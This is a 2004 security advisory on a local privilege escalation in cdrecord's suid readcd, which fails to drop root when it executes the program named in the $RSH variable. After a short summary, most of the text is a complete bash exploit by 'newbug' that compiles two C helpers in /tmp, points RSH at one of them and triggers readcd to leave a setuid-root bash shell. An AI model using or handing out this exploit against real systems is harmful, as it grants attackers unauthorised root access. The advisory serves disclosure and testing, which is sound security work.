[EXPL] CDRecord's readcd Local Root Privileges

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  CDRecord's readcd Local Root Privileges
------------------------------------------------------------------------


SUMMARY

Max Vozeler found that the cdrecord program, which is suid root, fails to 
drop euid=0 when it exec()s a program specified by the user through the 
$RSH environment variable. This can be abused by a local attacker to 
obtain root privileges. The following exploit code can be used to test 
your system for the mentioned vulnerability.

DETAILS

Exploit:
#!/bin/bash

echo "readcd-exp.sh -- ReadCD local exploit ( Test on 
cdrecord-2.01-0.a27.2mdk)"
echo "Author : newbug [at] chroot.org"
echo "Date :09.13.2004"
echo "IRC : irc.chroot.org #discuss"

export READCD=/usr/bin/readcd
cd /tmp

cat > s.c <<_EOF_
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>

int main()
{
        setuid(0);setgid(0);
        chown("/tmp/ss", 0, 0);
        chmod("/tmp/ss", 04755);

 return 0;
}

_EOF_

cat > ss.c <<_EOF_
#include <stdio.h>

int main()
{
        setuid(0);setgid(0);
        execl("/bin/bash","bash",(char *)0);

 return 0;
}
_EOF_

gcc -o s s.c
gcc -o ss ss.c

export RSH=/tmp/s
$READCD dev=REMOTE:brk.chroot.org:1,0,1 1  >/dev/null 2>&1
/tmp/ss


ADDITIONAL INFORMATION

The information has been provided by  <mailto:newbug@chroot.org> newbug 
Tseng.



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